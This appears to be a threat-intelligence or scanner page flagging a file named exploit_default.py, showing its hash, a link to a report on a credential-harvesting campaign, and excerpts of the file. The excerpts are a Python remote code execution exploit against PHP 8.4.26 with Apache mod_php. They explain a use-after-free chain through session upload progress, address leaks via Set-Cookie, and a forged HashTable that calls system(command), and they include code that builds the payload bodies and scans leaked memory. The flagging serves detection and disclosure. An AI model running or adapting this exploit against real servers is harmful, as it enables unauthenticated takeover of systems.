exploit_default.py
PHP2Shell upload-progress UAF code executionPHP session cookie with bounded pointer reads
SHA-256d01948e930848dd139915f646760e6dba61caf3eec222d5479518c19b5076ad2
Also flagged by https://falhumaid.github.io/DFIR_Radar_RSS/rss.xml (PHP2Shell Exploited by AI Agents from Day One: Inside a Credential-Harvesting Campaign).
Evidence
1#!/usr/bin/env python3
2"""
3Unauthenticated RCE against PHP 8.4.26 + Apache prefork/mod_php with the
4*default* php.ini settings (CVE-2026-109618 / GHSA-w8hw-w9fx-j79w).
5
6Target profile (official php:8.4.26-apache image, no ini overrides):
7 memory_limit=128M post_max_size=8M display_errors=1
8 max_input_vars=1000 session.upload_progress.enabled=1
9 session.use_strict_mode=0 session.use_cookies=1
10 prefork with several workers, KeepA …
25:7… he cookie into a 4096-byte heap read / a 16-byte libphp pointer read.
26 3. Stage 3 overwrites a dangling ps_globals.http_session_vars reference with
27 a fake reference -> fake HashTable whose pDestructor = zif_system, with a
28 fake zend_execute_data whose first argument is the command string.
29 zval_ptr_dtor() walks it and calls system(command).
30
31A and B are sent on one keep-alive connection, which pins them to the same
32prefork child; this is what makes the chain work with several workers.
33
34Address sources are the two Set-Cookie leaks: the Zend MM 2 MiB chunk …
114:38… der-flood OOM at the default 128M limit."""
115 body = bytearray()
116 if shape == "s1":
117 for i in range(1001):
118 body += _part(b"p%04d" % i, b"x", boundary=boundary)
119 elif shape == "s2":
120 for i in range(1001):
121 body += _part((b"f%04d" % i)[:5], b"x" * 39, boundary=boundary)
122 elif shape == "s3":
123 body += _part(b"PHPSESSID", b"a" * 19, boundary=boundary)
124 body += _part(b"PHP_SESSION_UPLOAD_PROGRESS", b"p" * 3, boundary=boundary)
125 for i in range(6):
126 name = (f"p{i:030d}"[:31]).encode()
127 body += _part(name, b"V" * 31, boundary=boundary)
128 else:
129 raise ValueError(shape)
130
131 if shape != "s3":
132 body += _part(b"PHPSESSID", b"\x00", boundary=boundary)
133 body += _part(b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn", boundary=boundary)
134 body += _part(b"f", b"A" * 64, filename=b"a.txt", boundary=boundary)
135
136 # The flood part: each 5-byte header line becomes a key zend_string and a
137 # ze …
171:51… ata": b"pwn"},
172 ]
173 for i in range(n):
174 val = (f"v{i:04d}" + "x" * 44)[:48]
175 parts.append({"name": str(1000 + i), "data": val.encode()})
176 forge = bytearray(b"A" * 79)
177 struct.pack_into("<Q", forge, 0x10, 0x1000) # forged zend_string len
178 forge[0x18] = ord("L")
179 parts.append({"name": "1999", "data": bytes(forge)})
⋯5 lines
268:64… read."""
269 if len(raw) < 1000:
270 return 0
271 counts: dict[int, int] = {}
272 for i in range(len(raw) - 8):
273 v = int.from_bytes(raw[i:i + 8], "little")
274 if 0x7F0000000000 <= v < 0x800000000000:
275 b = v & ~0x1FFFFF
276 counts[b] = counts.get(b, 0) + 1
277 if not counts:
⋯7 lines